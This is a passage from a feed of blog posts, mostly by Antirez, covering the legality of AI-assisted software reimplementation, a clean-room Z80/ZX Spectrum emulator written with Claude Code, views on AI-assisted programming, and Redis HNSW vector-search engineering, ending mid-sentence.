the law says you must not copy “protected expressions”. In the case of the software, a protected expression is the code as it is, with the same structure, variables, functions, exact mechanics of how specific things are done, unless they are known algorithms (standard quicksort or a binary search can be implemented in a very similar way and they will not be a violation). The problem is when the business logic of the programs matches perfectly, almost line by line, the original implementation. Otherwise, the copy is lawful and must not obey the original license, as long as it is pretty clear that the code is doing something similar but with code that is not cut & pasted or mechanically translated to some other language, or aesthetically modified just to look a bit different (look: this is exactly the kind of bad-faith maneuver a court will try to identify). I have the feeling that every competent programmer reading this post perfectly knows what a *reimplementation* is and how it looks. There will be inevitable similarities, but the code will be clearly not copied. If this is the legal setup, why do people care about clean room implementations? Well, the reality is: it is just an optimization in case of litigation, it makes it simpler to win in court, but being exposed to the original source code of some program, if the exposition is only used to gain knowledge about the ideas and behavior, is fine. Besides, we are all happy to have Linux today, and the GNU user space, together with many other open source projects that followed a similar path. I believe rules must be applied both when we agree with their ends, and when we don’t. # AI enters the scene So, reimplementations were always possible. What changes, now, is the fact they are brutally faster and cheaper to accomplish. In the past, you had to hire developers, or to be enthusiastic and passionate enough to create a reimplementation yourself, because of business aspirations or because you wanted to share it with the world at large. Now, you can start a coding agent and proceed in two ways: turn the implementation into a specification, and then in a new session ask the agent to reimplement it, possibly forcing specific qualities, like: make it faster, or make the implementation incredibly easy to follow and understand (that’s a good trick to end with an implementation very far from others, given the fact that a lot of code seems to be designed for the opposite goal), or more modular, or resolve this fundamental limitation of the original implementation: all hints that will make it much simpler to significantly diverge from the original design. LLMs, when used in this way, don’t produce copies of what they saw in the past, but yet at the end you can use an agent to verify carefully if there is any violation, and if any, replace the occurrences with novel code. Another, apparently less rigorous approach, but potentially very good in the real world, is to provide the source code itself, and ask the agent to reimplement it in a completely novel way, and use the source code both as specification and in order to drive the implementation as far as possible away from the code itself. Frontier LLMs are very capable, they can use something even to explicitly avoid copying it, and carefully try different implementation approaches. If you ever attempted something like the above, you know how the “uncompressed copy” really is an illusion: agents will write the software in a very “organic” way, committing errors, changing design many times because of limitations that become clear only later, starting with something small and adding features progressively, and often, during this already chaotic process, we massively steer their work with our prompts, hints, wishes. Many ideas are consolatory as they are false: the “uncompressed copy” is one of those. But still, now the process of rewriting is so simple to do, and many people are disturbed by this. There is a more fundamental truth here: the nature of software changed; the reimplementations under different licenses are just an instance of how such nature was transformed forever. Instead of combatting each manifestation of automatic programming, I believe it is better to build a new mental model, and adapt. # Beyond the law I believe that organized societies prosper if laws are followed, yet I do not blindly accept a rule just because it exists, and I question things based on my ethics: this is what allows individuals, societies, and the law itself to evolve. We must ask ourselves: is the copyright law ethically correct? Does the speed-up AI provides to an existing process, fundamentally change the process itself? One thing that allowed software to evolve much faster than most other human fields is the fact the discipline is less anchored to patents and protections (and this, in turn, is likely as it is because of a sharing culture around the software). If the copyright law were more stringent, we could likely not have what we have today. Is the protection of single individuals' interests and companies more important than the general evolution of human culture? I don’t think so, and, besides, the copyright law is a common playfield: the rules are the same for all. Moreover, it is not a stretch to say that despite a more relaxed approach, software remains one of the fields where it is simpler to make money; it does not look like the business side was impacted by the ability to reimplement things. Probably, the contrary is true: think of how many businesses were made possible by an open source software stack (not that OSS is mostly made of copies, but it definitely inherited many ideas about past systems). I believe, even with AI, those fundamental tensions remain all valid. Reimplementations are cheap to make, but this is the new playfield for all of us, and just reimplementing things in an automated fashion, without putting something novel inside, in terms of ideas, engineering, functionalities, will have modest value in the long run. What will matter is the exact way you create something: Is it well designed, interesting to use, supported, somewhat novel, fast, documented and useful? Moreover, this time the inbalance of force is in the right direction: big corporations always had the ability to spend obscene amounts of money in order to copy systems, provide them in a way that is irresistible for users (free, for many years, for instance, to later switch model) and position themselves as leaders of ideas they didn’t really invent. Now, small groups of individuals can do the same to big companies' software systems: they can compete on ideas now that a synthetic workforce is cheaper for many. # We stand on the shoulders of giants There is another fundamental idea that we all need to internalize. Software is created and evolved as an incremental continuous process, where each new innovation is building on what somebody else invented before us. We are all very quick to build something and believe we “own” it, which is correct, if we stop at the exact code we wrote. But we build things on top of work and ideas already done, and given that the current development of IT is due to the fundamental paradigm that makes ideas and behaviors not covered by copyright, we need to accept that reimplementations are a fair process. If they don’t contain any novelty, maybe they are a lazy effort? That’s possible, yet: they are fair, and nobody is violating anything. Yet, if we want to be good citizens of the ecosystem, we should try, when replicating some work, to also evolve it, invent something new: to specialize the implementation for a lower memory footprint, or to make it more useful in certain contexts, or less buggy: the Stallman way. In the case of AI, we are doing, almost collectively, the error of thinking that a technology is bad or good for software and humanity in isolation. AI can unlock a lot of good things in the field of open source software. Many passionate individuals write open source because they hate their day job, and want to make something they love, or they write open source because they want to be part of something bigger than economic interests. A lot of open source software is either written in the free time, or with severe constraints on the amount of people that are allocated for the project, or - even worse - with limiting conditions imposed by the companies paying for the developments. Now that code is every day less important than ideas, open source can be strongly accelerated by AI. The four hours allocated over the weekend will bring 10x the fruits, in the right hands (AI coding is not for everybody, as good coding and design is not for everybody). Linux device drivers can be implemented by automatically disassembling some proprietary blob, for instance. Or, what could be just a barely maintained library can turn into a project that can be well handled in a more reasonable amount of time. Before AI, we witnessed the commodification of software: less quality, focus only on the money, no care whatsoever for minimalism and respect for resources: just piles of mostly broken bloat. More hardware power, more bloat, less care. It was already going very badly. It is not obvious nor automatic that AI will make it worse, and the ability to reimplement other software systems is part of a bigger picture that may restore some interest and sanity in our field. Comments

• Redis patterns for coding
  Antirez · Mar 01, 2026

  Here LLM and coding agents can find: 1. Exhaustive documentation about Redis commands and data types. 2. Patterns commonly used. 3. Configuration hints. 4. Algorithms that can be mounted using Redis commands. https://redis.antirez.com/ Some humans claim this documentation is actually useful for actual people, as well :) I'm posting this to make sure search engines will index it. Comments

• Implementing a clear room Z80 / ZX Spectrum emulator with Claude Code
  Antirez · Feb 24, 2026

  Anthropic recently released a blog post with the description of an experiment in which the last version of Opus, the 4.6, was instructed to write a C compiler in Rust, in a “clean room” setup. The experiment methodology left me dubious about the kind of point they wanted to make. Why not provide the agent with the ISA documentation? Why Rust? Writing a C compiler is exactly a giant graph manipulation exercise: the kind of program that is harder to write in Rust. Also, in a clean room experiment, the agent should have access to all the information about well established computer science progresses related to optimizing compilers: there are a number of papers that could be easily synthesized in a number of markdown files. SSA, register allocation, instructions selection and scheduling. Those things needed to be researched *first*, as a prerequisite, and the implementation would still be “clean room”. Not allowing the agent to access the Internet, nor any other compiler source code, was certainly the right call. Less understandable is the almost-zero steering principle, but this is coherent with a certain kind of experiment, if the goal was showcasing the completely autonomous writing of a large project. Yet, we all know how this is not how coding agents are used in practice, most of the time. Who uses coding agents extensively knows very well how, even never touching the code, a few hits here and there completely changes the quality of the result. # The Z80 experiment I thought it was time to try a similar experiment myself, one that would take one or two hours at max, and that was compatible with my Claude Code Max plan: I decided to write a Z80 emulator, and then a ZX Spectrum emulator (and even more, a CP/M emulator, see later) in a condition that I believe makes a more sense as “clean room” setup. The result can be found here: https://github.com/antirez/ZOT. # The process I used 1. I wrote a markdown file with the specification of what I wanted to do. Just English, high level ideas about the scope of the Z80 emulator to implement. I said things like: it should execute a whole instruction at a time, not a single clock step, since this emulator must be runnable on things like an RP2350 or similarly limited hardware. The emulator should correctly track the clock cycles elapsed (and I specified we could use this feature later in order to implement the ZX Spectrum contention with ULA during memory accesses), provide memory access callbacks, and should emulate all the known official and unofficial instructions of the Z80. For the Spectrum implementation, performed as a successive step, I provided much more information in the markdown file, like, the kind of rendering I wanted in the RGB buffer, and how it needed to be optional so that embedded devices could render the scanlines directly as they transferred them to the ST77xx display (or similar), how it should be possible to interact with the I/O port to set the EAR bit to simulate cassette loading in a very authentic way, and many other desiderata I had about the emulator. This file also included the rules that the agent needed to follow, like: * Accessing the internet is prohibited, but you can use the specification and test vectors files I added inside ./z80-specs. * Code should be simple and clean, never over-complicate things. * Each solid progress should be committed in the git repository. * Before committing, you should test that what you produced is high quality and that it works. * Write a detailed test suite as you add more features. The test must be re-executed at every major change. * Code should be very well commented: things must be explained in terms that even people not well versed with certain Z80 or Spectrum internals details should understand. * Never stop for prompting, the user is away from the keyboard. * At the end of this file, create a work in progress log, where you note what you already did, what is missing. Always update this log. * Read this file again after each context compaction. 2. Then, I started a Claude Code session, and asked it to fetch all the useful documentation on the internet about the Z80 (later I did this for the Spectrum as well), and to extract only the useful factual information into markdown files. I also provided the binary files for the most ambitious test vectors for the Z80, the ZX Spectrum ROM, and a few other binaries that could be used to test if the emulator actually executed the code correctly. Once all this information was collected (it is part of the repository, so you can inspect what was produced) I completely removed the Claude Code session in order to make sure that no contamination with source code seen during the search was possible. 3. I started a new session, and asked it to check the specification markdown file, and to check all the documentation available, and start implementing the Z80 emulator. The rules were to never access the Internet for any reason (I supervised the agent while it was implementing the code, to make sure this didn’t happen), to never search the disk for similar source code, as this was a “clean room” implementation. 4. For the Z80 implementation, I did zero steering. For the Spectrum implementation I used extensive steering for implementing the TAP loading. More about my feedback to the agent later in this post. 5. As a final step, I copied the repository in /tmp, removed the “.git” repository files completely, started a new Claude Code (and Codex) session and claimed that the implementation was likely stolen or too strongly inspired from somebody else's work. The task was to check with all the major Z80 implementations if there was evidence of theft. The agents (both Codex and Claude Code), after extensive search, were not able to find any evidence of copyright issues. The only similar parts were about well established emulation patterns and things that are Z80 specific and can’t be made differently, the implementation looked distinct from all the other implementations in a significant way. # Results Claude Code worked for 20 or 30 minutes in total, and produced a Z80 emulator that was able to pass ZEXDOC and ZEXALL, in 1200 lines of very readable and well commented C code (1800 lines with comments and blank spaces). The agent was prompted zero times during the implementation, it acted absolutely alone. It never accessed the internet, and the process it used to implement the emulator was of continuous testing, interacting with the CP/M binaries implementing the ZEXDOC and ZEXALL, writing just the CP/M syscalls needed to produce the output on the screen. Multiple times it also used the Spectrum ROM and other binaries that were available, or binaries it created from scratch to see if the emulator was working correctly. In short: the implementation was performed in a very similar way to how a human programmer would do it, and not outputting a complete implementation from scratch “uncompressing” it from the weights. Instead, different classes of instructions were implemented incrementally, and there were bugs that were fixed via integration tests, debugging sessions, dumps, printf calls, and so forth. # Next step: the ZX Spectrum I repeated the process again. I instructed the documentation gathering session very accurately about the kind of details I wanted it to search on the internet, especially the ULA interactions with RAM access, the keyboard mapping, the I/O port, how the cassette tape worked and the kind of PWM encoding used, and how it was encoded into TAP or TZX files. As I said, this time the design notes were extensive since I wanted this emulator to be specifically designed for embedded systems, so only 48k emulation, optional framebuffer rendering, very little additional memory used (no big lookup tables for ULA/Z80 access contention), ROM not copied in the RAM to avoid using additional 16k of memory, but just referenced during the initialization (so we have just a copy in the executable), and so forth. The agent was able to create a very detailed documentation about the ZX Spectrum internals. I provided a few .z80 images of games, so that it could test the emulator in a real setup with real software. Again, I removed the session and started fresh. The agent started working and ended 10 minutes later, following a process that really fascinates me, and that probably you know very well: the fact is, you see the agent working using a number of diverse skills. It is expert in everything programming related, so as it was implementing the emulator, it could immediately write a detailed instrumentation code to “look” at what the Z80 was doing step by step, and how this changed the Spectrum emulation state. In this respect, I believe automatic programming to be already super-human, not in the sense it is currently capable of producing code that humans can’t produce, but in the concurrent usage of different programming languages, system programming techniques, DSP stuff, operating system tricks, math, and everything needed to reach the result in the most immediate way. When it was done, I asked it to write a simple SDL based integration example. The emulator was immediately able to run the Jetpac game without issues, with working sound, and very little CPU usage even on my slow Dell Linux machine (8% usage of a single core, including SDL rendering). Once the basic stuff was working, I wanted to load TAP files directly, simulating cassette loading. This was the first time the agent missed a few things, specifically about the timing the Spectrum loading routines expected, and here we are in the territory where LLMs start to perform less efficiently: they can’t easily run the SDL emulator and see the border changing as data is received and so forth. I asked Claude Code to do a refactoring so that zx_tick() could be called directly and was not part of zx_frame(), and to make zx_frame() a trivial wrapper. This way it was much simpler to sync EAR with what it expected, without callbacks or the wrong abstractions that it had implemented. After such change, a few minutes later the emulator could load a TAP file emulating the cassette without problems. This is how it works now: do { zx_set_ear(zx, tzx_update(&tape, zx->cpu.clocks)); } while (!zx_tick(zx, 0)); I continued prompting Claude Code in order to make the key bindings more useful and a few things more. # CP/M One thing that I found really interesting was the ability of the LLM to inspect the COM files for ZEXALL / ZEXCOM tests for the Z80, easily spot the CP/M syscalls that were used (a total of three), and implement them for the extended z80 test (executed by make fulltest). So, at this point, why not implement a full CP/M environment? Same process again, same good result in a matter of minutes. This time I interacted with it a bit more for the VT100 / ADM3 terminal escapes conversions, reported things not working in WordStar initially, and in a few minutes everything I tested was working well enough (but, there are fixes to do, like simulating a 2Mhz clock, right now it runs at full speed making CP/M games impossible to use). # What is the lesson here? The obvious lesson is: always provide your agents with design hints and extensive documentation about what they are going to do. Such documentation can be obtained by the agent itself. And, also, make sure the agent has a markdown file with the rules of how to perform the coding tasks, and a trace of what it is doing, that is updated and read again quite often. But those tricks, I believe, are quite clear to everybody that has worked extensively with automatic programming in the latest months. To think in terms of “what a human would need” is often the best bet, plus a few LLMs specific things, like the forgetting issue after context compaction, the continuous ability to verify it is on the right track, and so forth. Returning back to the Anthropic compiler attempt: one of the steps that the agent failed was the one that was more strongly related to the idea of memorization of what is in the pretraining set: the assembler. With extensive documentation, I can’t see any way Claude Code (and, even more, GPT5.3-codex, which is in my experience, for complex stuff, more capable) could fail at producing a working assembler, since it is quite a mechanical process. This is, I think, in contradiction with the idea that LLMs are memorizing the whole training set and uncompress what they have seen. LLMs can memorize certain over-represented documents and code, but while they can extract such verbatim parts of the code if prompted to do so, they don’t have a copy of everything they saw during the training set, nor they spontaneously emit copies of already seen code, in their normal operation. We mostly ask LLMs to create work that requires assembling different knowledge they possess, and the result is normally something that uses known techniques and patterns, but that is new code, not constituting a copy of some pre-existing code. It is worth noting, too, that humans often follow a less rigorous process compared to the clean room rules detailed in this blog post, that is: humans often download the code of different implementations related to what they are trying to accomplish, read them carefully, then try to avoid copying stuff verbatim but often times they take strong inspiration. This is a process that I find perfectly acceptable, but it is important to take in mind what happens in the reality of code written by humans. After all, information technology evolved so fast even thanks to this massive cross pollination effect. For all the above reasons, when I implement code using automatic programming, I don’t have problems releasing it MIT licensed, like I did with this Z80 project. In turn, this code base will constitute quality input for the next LLMs training, including open weights ones. # Next steps To make my experiment more compelling, one should try to implement a Z80 and ZX Spectrum emulator without providing any documentation to the agent, and then compare the result of the implementation. I didn’t find the time to do it, but it could be quite informative. Comments

• Automatic programming
  Antirez · Jan 31, 2026

  In my YouTube channel, for some time now I started to refer to the process of writing software using AI assistance (soon to become just "the process of writing software", I believe) with the term "Automatic Programming". In case you didn't notice, automatic programming produces vastly different results with the same LLMs depending on the human that is guiding the process with their intuition, design, continuous steering and idea of software. Please, stop saying "Claude vibe coded this software for me". Vibe coding is the process of generating software using AI without being part of the process at all. You describe what you want in very general terms, and the LLM will produce whatever happens to be the first idea/design/code it would spontaneously, given the training, the specific sampling that happened to dominate in that run, and so forth. The vibe coder will, at most, report things not working or not in line with what they expected. When the process is actual software production where you know what is going on, remember: it is the software *you* are producing. Moreover remember that the pre-training data, while not the only part where the LLM learns (RL has its big weight) was produced by humans, so we are not appropriating something else. We can pretend AI generated code is "ours", we have the right to do so. Pre-training is, actually, our collective gift that allows many individuals to do things they could otherwise never do, like if we are now linked in a collective mind, in a certain way. That said, if vibe coding is the process of producing software without much understanding of what is going on (which has a place, and democratizes software production, so it is totally ok with me), automatic programming is the process of producing software that attempts to be high quality and strictly following the producer's vision of the software (this vision is multi-level: can go from how to do, exactly, certain things, at a higher level, to stepping in and tell the AI how to write a certain function), with the help of AI assistance. Also a fundamental part of the process is, of course, *what* to do. I'm a programmer, and I use automatic programming. The code I generate in this way is mine. My code, my output, my production. I, and you, can be proud. If you are not completely convinced, think to Redis. In Redis there is not much technical novelty, especially at its start it was just a sum of basic data structures and networking code that every competent system programmer could write. So, why it became a very useful piece of software? Because of the ideas and visions it contained. Programming is now automatic, vision is not (yet). Comments

• Don't fall into the anti-AI hype
  Antirez · Jan 11, 2026

  I love writing software, line by line. It could be said that my career was a continuous effort to create software well written, minimal, where the human touch was the fundamental feature. I also hope for a society where the last are not forgotten. Moreover, I don't want AI to economically succeed, I don't care if the current economic system is subverted (I could be very happy, honestly, if it goes in the direction of a massive redistribution of wealth). But, I would not respect myself and my intelligence if my idea of software and society would impair my vision: facts are facts, and AI is going to change programming forever. In 2020 I left my job in order to write a novel about AI, universal basic income, a society that adapted to the automation of work facing many challenges. At the very end of 2024 I opened a YouTube channel focused on AI, its use in coding tasks, its potential social and economical effects. But while I recognized what was going to happen very early, I thought that we had more time before programming would be completely reshaped, at least a few years. I no longer believe this is the case. Recently, state of the art LLMs are able to complete large subtasks or medium size projects alone, almost unassisted, given a good set of hints about what the end result should be. The degree of success you'll get is related to the kind of programming you do (the more isolated, and the more textually representable, the better: system programming is particularly apt), and to your ability to create a mental representation of the problem to communicate to the LLM. But, in general, it is now clear that for most projects, writing the code yourself is no longer sensible, if not to have fun. In the past week, just prompting, and inspecting the code to provide guidance from time to time, in a few hours I did the following four tasks, in hours instead of weeks: 1. I modified my linenoise library to support UTF-8, and created a framework for line editing testing that uses an emulated terminal that is able to report what is getting displayed in each character cell. Something that I always wanted to do, but it was hard to justify the work needed just to test a side project of mine. But if you can just describe your idea, and it materializes in the code, things are very different. 2. I fixed transient failures in the Redis test. This is very annoying work, timing related issues, TCP deadlock conditions, and so forth. Claude Code iterated for all the time needed to reproduce it, inspected the state of the processes to understand what was happening, and fixed the bugs. 3. Yesterday I wanted a pure C library that would be able to do the inference of BERT like embedding models. Claude Code created it in 5 minutes. Same output and same speed (15% slower) than PyTorch. 700 lines of code. A Python tool to convert the GTE-small model. 4. In the past weeks I operated changes to Redis Streams internals. I had a design document for the work I did. I tried to give it to Claude Code and it reproduced my work in, like, 20 minutes or less (mostly because I'm slow at checking and authorizing to run the commands needed). It is simply impossible not to see the reality of what is happening. Writing code is no longer needed for the most part. It is now a lot more interesting to understand what to do, and how to do it (and, about this second part, LLMs are great partners, too). It does not matter if AI companies will not be able to get their money back and the stock market will crash. All that is irrelevant, in the long run. It does not matter if this or the other CEO of some unicorn is telling you something that is off putting, or absurd. Programming changed forever, anyway. How do I feel, about all the code I wrote that was ingested by LLMs? I feel great to be part of that, because I see this as a continuation of what I tried to do all my life: democratizing code, systems, knowledge. LLMs are going to help us to write better software, faster, and will allow small teams to have a chance to compete with bigger companies. The same thing open source software did in the 90s. However, this technology is far too important to be in the hands of a few companies. For now, you can do the pre-training better or not, you can do reinforcement learning in a much more effective way than others, but the open models, especially the ones produced in China, continue to compete (even if they are behind) with frontier models of closed labs. There is a sufficient democratization of AI, so far, even if imperfect. But: it is absolutely not obvious that it will be like that forever. I'm scared about the centralization. At the same time, I believe neural networks, at scale, are simply able to do incredible things, and that there is not enough "magic" inside current frontier AI for the other labs and teams not to catch up (otherwise it would be very hard to explain, for instance, why OpenAI, Anthropic and Google are so near in their results, for years now). As a programmer, I want to write more open source than ever, now. I want to improve certain repositories of mine abandoned for time concerns. I want to apply AI to my Redis workflow. Improve the Vector Sets implementation and then other data structures, like I'm doing with Streams now. But I'm worried for the folks that will get fired. It is not clear what the dynamic at play will be: will companies try to have more people, and to build more? Or will they try to cut salary costs, having fewer programmers that are better at prompting? And, there are other sectors where humans will become completely replaceable, I fear. What is the social solution, then? Innovation can't be taken back after all. I believe we should vote for governments that recognize what is happening, and are willing to support those who will remain jobless. And, the more people get fired, the more political pressure there will be to vote for those who will guarantee a certain degree of protection. But I also look forward to the good AI could bring: new progress in science, that could help lower the suffering of the human condition, which is not always happy. Anyway, back to programming. I have a single suggestion for you, my friend. Whatever you believe about what the Right Thing should be, you can't control it by refusing what is happening right now. Skipping AI is not going to help you or your career. Think about it. Test these new tools, with care, with weeks of work, not in a five minutes test where you can just reinforce your own beliefs. Find a way to multiply yourself, and if it does not work for you, try again every few months. Yes, maybe you think that you worked so hard to learn coding, and now machines are doing it for you. But what was the fire inside you, when you coded till night to see your project working? It was building. And now you can build more and better, if you find your way to use AI effectively. The fun is still there, untouched. Comments

• Reflections on AI at the end of 2025
  Antirez · Dec 20, 2025

  * For years, despite functional evidence and scientific hints accumulating, certain AI researchers continued to claim LLMs were stochastic parrots: probabilistic machines that would: 1. NOT have any representation about the meaning of the prompt. 2. NOT have any representation about what they were going to say. In 2025 finally almost everybody stopped saying so. * Chain of thought is now a fundamental way to improve LLM output. But, what is CoT? Why it improves output? I believe it is two things: 1. Sampling in the model representations (that is, a form of internal search). After information and concepts relevant to the prompt topic is in the context window, the model can better reply. 2. But if you mix this to reinforcement learning, the model also learns to put one token after the other (each token will change the model state) in order to converge to some useful reply. * The idea that scaling is limited to the number of tokens we have, is no longer true, because of reinforcement learning with verifiable rewards. We are still not at AlphaGo move 37 moment, but is this really impossible in the future? There are certain tasks, like improving a given program for speed, for instance, where in theory the model can continue to make progress with a very clear reward signal for a very long time. I believe improvements to RL applied to LLMs will be the next big thing in AI. * Programmers resistance to AI assisted programming has lowered considerably. Even if LLMs make mistakes, the ability of LLMs to deliver useful code and hints improved to the point most skeptics started to use LLMs anyway: now the return on the investment is acceptable for many more folks. The programming world is still split among who uses LLMs as colleagues (for instance, all my interaction is via the web interface of Gemini, Claude, …), and who uses LLMs as independent coding agents. * A few well known AI scientists believe that what happened with Transformers can happen again, and better, following different paths, and started to create teams, companies to investigate alternatives to Transformers and models with explicit symbolic representations or world models. I believe that LLMs are differentiable machine trained on a space able to approximate discrete reasoning steps, and it is not impossible they get us to AGI even without fundamentally new paradigms appearing. It is likely that AGI can be reached independently with many radically different architectures. * There is who says chain of thought changed LLMs nature fundamentally, and this is why they, in the past, claimed LLMs were very limited, and now are changing their mind. They say, because of CoT, LLMs are now a different thing. They are lying. It is still the same architecture with the same next token target, and the CoT is created exactly like that, token after token. * The ARC test today looks a lot less insurmountable than initially thought: there are small models optimized for the task at hand that perform decently well on ARC-AGI-1, and very large LLMs with extensive CoT achieving impressive results on ARC-AGI-2 with an architecture that, according to many folks, would not deliver such results. ARC, in some way, transitioned from being the anti-LLM test to a validation of LLMs. * The fundamental challenge in AI for the next 20 years is avoiding extinction. Comments

• Pop quiz: what time was it?
  Dave Cheney · Dec 18, 2025

  Here’s a small quiz derived from some incorrect advice from an AI coding assistant. This program prints two timestamps; will they be a. Roughly the same time (ie, the same second)b. Roughly 10 seconds apartc. Something else Answer after the fold

• Pointer pop quiz
  Dave Cheney · Nov 27, 2025

  Here’s a silly example extracted from real code. Does this program print true or false?

• Scaling HNSWs
  Antirez · Nov 11, 2025

  I’m taking a few weeks of pause on my HNSWs developments (now working on some other data structure, news soon). At this point, the new type I added to Redis is stable and complete enough, it’s the perfect moment to reason about what I learned about HNSWs, and turn it into a blog post. That kind of brain dump that was so common pre-AI era, and now has become, maybe, a bit more rare. Well, after almost one year of thinking and implementing HNSWs and vector similarity stuff, it is time for some writing. However this is not going to be an intro on HNSWs: too many are present already. This is the “extra mile” instead. If you know HNSWs, I want to share with you my more “advanced” findings, especially in the context of making them fast enough to allow for a “Redis” experience: you know, Redis is designed for low latency and high performance, and HNSWs are kinda resistant to that, so there were challenges to expose HNSWs as an abstract data structure. This blog post will be split into several sections. Think of them as pages of the same book, different chapters of the same experience. Oh and, by the way, I already wrote and subsequently lost this blog post :D [long, sad story about MacOS and bad habits – I hadn’t lost something like that since the 90s, during blackouts], so here most of the problem will be to recall what I wrote a few days ago and, while I’m at it, to better rephrase what I didn’t like very much. ## A few words about the state of HNSW Before digging into the HNSWs internals and optimizations, I want to say a few things about HNSWs. The original paper introducing HNSWs is a great piece of computer science literature, and HNSWs are amazing data structures, but: I don’t believe they are the last word for searching, in a greedy way, for nearby vectors according to a distance function. The paper gives the feeling it lacks some “pieces”, almost like if the researchers, given six months more, had a lot more to explore and say. For instance, I modified the paper myself, extending it in order to support removal of entries, actual removals, not just tombstone deletions where the element is marked as gone and collected later: deleting items is totally missing from the paper. Similarly, there are, right now, efforts in order to really check if the “H” in the HNSWs is really needed, and if instead a flat data structure with just one layer would perform more or less the same (I hope I’ll cover more about this in the future: my feeling is that the truth is in the middle, and that it makes sense to modify the level selection function to just have levels greater than a given threshold). All this to say that, if you are into data structures research, I believe that a great area is to imagine evolutions and refinements of HNSWs, without getting trapped within the idea that the evolutions are only in the sense of: let’s do it, but for disk (see Microsoft efforts), or the like. Ok, enough with the premise, let’s go to the actual low level stuff :) ## Scaling memory Redis is an in-memory system, and both HNSWs and vectors have the unfortunate quality of being very space-hungry. There are three reasons for this: 1. HNSWs have a lot of pointers, like 16, 32 or more pointers (this is a tunable parameter of HNSWs) to neighbor nodes. 2. HNSWs have many levels, being a skiplist-alike data structure. This exacerbates the first problem. 3. HNSW’s satellite data is a vector of floating point numbers, so, in the vanilla case, 4 bytes per component, and normally you can have 300-3000 components, this is the usual range. So, what are the lessons learned here? There are folks that compress pointers, since it is very likely that many pointers (8 bytes in 64 bit systems) will have the highest four bytes all the same. This is smart, I didn’t implement it yet, because in Redis I need to go fast, and this is a tradeoff between space and time: but maybe it is worth it, maybe not. I’ll dig more. However, if you do the math, the fact that there are many layers is not *so* terrible as it looks. On average, the multiple layers per node make the situation worse by just ~1.3x (if the probability of level increase is 0.25 in the level selection function), since many nodes will be just at layer 0. But still 1.3 is more than 1, and if that “H” in HNSWs really is not *so* useful… [Spoiler, what I found is that the seek time if you have everything at layer 0 is greater, the main loop for the greedy search will start from less optimal places and it will eventually reach the right cluster, but will take more computation time. However this is just early results.] So here the *real* low hanging fruit is: vector quantization. What I found is that if you use 8 bit quantization what you get is an almost 4x speedup, a 4x reduction of your vectors (but not a 4x reduction of the whole node: the pointers are still there, and they take a lot of space), and a recall that is virtually the same in real world use cases. This is the reason why Redis Vector Sets use 8 bit quantization by default. You can specify, via VADD options, that you want full precision vectors or binary quantized vectors, where we just take the sign, but I’m skeptical about using both full size vectors and binary quantized vectors. Before talking about them, let’s see what kind of quantization I used for 8 bit. What I do is to compute the maximum absolute value of the component of each vector (so quantization is per-vector), then I use signed 8 bit values to represent the quant from -127 to 127. This is not as good as storing both min and max value, but it is faster when computing cosine similarity, since I can do this: /* Each vector is quantized from [-max_abs, +max_abs] to [-127, 127] * where range = 2*max_abs. */ const float scale_product = (range_a/127) * (range_b/127); Then I multiply things together in the integer domain with (actually in the code the main loop is unrolled and uses multiple accumulators, to make modern CPUs more busy) for (; i And finally we can return back to the floating point distance with: float dotf = dot0 * scale_product; Check the vectors_distance_q8() for more information, but I believe you got the idea: it is very simple to go from the integer quants domain to the unquantized dotproduct with trivial operations. So, 8 bit quantization is a great deal, and full precision was a *needed* feature, because there will be people doing things with vectors generated in a way where each small amount makes a difference (no, with learned vectors this is not the case…) but, why binary quantization? Because I wanted users to have a simple way to not waste space when their *original* information is already binary. Imagine you have a set of users and they have yes/no properties, and you want to find similar users, items, whatever. Well: this is where binary quantization should be used, it’s just, again, an option of the VADD command. ## Scaling speed: threading and locality Oh, you know, I have to tell you something about myself: I’m not a fan of threaded systems when it is possible to do a lot with a single core, and then use multiple cores in a shared-nothing architecture. But HNSWs are different. They are *slow*, and they are accessed almost always in read-only ways, at least in most use cases. For this reason, my Vector Sets implementation is fully threaded. Not just reads, even writes are partially threaded, and you may wonder how this is possible without it resulting in a mess, especially in a system like Redis, where keys can be accessed in different ways by the background saving process, the clients, and so forth. Well, to start, let’s focus on reads. What happens is that as long as nobody is writing in the data structure, we can spawn threads that do the greedy collection of near vectors and return back the results to the blocked client. However, my implementation of HNSWs was written from scratch, I mean, from the empty C file opened with vim, it has 0% of shared code with the two implementations most other systems use, so there are a few “novelties”. One of such different things is that in order to avoid re-visiting already visited nodes, I use an integer stored in each node that is called “epoch”, instead of using another data structure to mark (like, in a hash table) nodes already visited. This is quite slow, I believe. The epoch instead is local to the node, and the global data structure increments the epoch for each search. So in the context of each search, we are sure that we can find epochs that are just But with threads, there are multiple searches occurring at the same time! And, yep, what I needed was an array of epochs: typedef struct hnswNode { uint32_t level; /* Node's maximum level */ … many other stuff … uint64_t visited_epoch[HNSW_MAX_THREADS]; } That’s what you can read in hnsw.h. This is, again, a space-time tradeoff, and again time won against space. So, how was it possible to have threaded writes? The trick is that in HNSW inserts, a lot of time is spent looking for neighbors candidates. So writes are split into a reading-half and commit-half, only the second needs a write lock, and there are a few tricks to make sure that the candidates we accumulated during the first part are discarded if the HNSW changed in the meantime, and some nodes may no longer be valid. There is, however, another problem. What about the user deleting the key, while background threads are working on the value? For this scenario, we have a function that waits for background operations to return before actually reclaiming the object. With these tricks, it is easy to get 50k ops/sec on real world vector workloads, and these are numbers I got from redis-benchmark itself, with all the overhead involved. The raw numbers of the flat HNSW library itself are much higher. ## Scaling memory: reclaiming it properly Before talking about how to scale HNSWs into big use cases with multiple instances involved, and why Redis Vector Sets expose the actual data structure in the face of the user (I believe programmers are smart and don’t need babysitting, but it’s not *just* that), I want to go back and talk again about memory, because there is an interesting story to tell about this specific aspect. Most HNSWs implementations are not able to reclaim memory directly when you delete a node from the graph. I believe there are two main reasons for that: 1. People misunderstand the original HNSW paper in a specific way: they believe links can be NOT reciprocal among neighbors. And there is a specific reason why they think so. 2. The paper does not say anything about deletion of nodes and how to fix the graph after nodes go away and we get missing links in the “web” of connections. The first problem is a combination (I believe) of lack of clarity in the paper and the fact that, while implementing HNSWs, people face a specific problem: when inserting a new node, and good neighbors are searched among existing nodes, often the candidates already have the maximum number of outgoing links. What to do, in this case? The issue is often resolved by linking unidirectionally from the new node we are inserting to the candidates that are already “full” of outgoing links. However, when you need to delete a node, you can no longer resolve all its incoming links, so you can’t really reclaim memory. You mark it as deleted with a flag, and later sometimes there is some rebuilding of the graph to “garbage collect” stale nodes, sometimes memory is just leaked. So, to start, my implementation in Redis does things differently by forcing links to be bidirectional. If A links to B, B links to A. But, how to do so, given that A may be busy? Well, this gets into complicated territory but what happens is that heuristics are used in order to drop links from existing nodes, with other neighbors that are well connected, and if our node is a better candidate even for the target node, 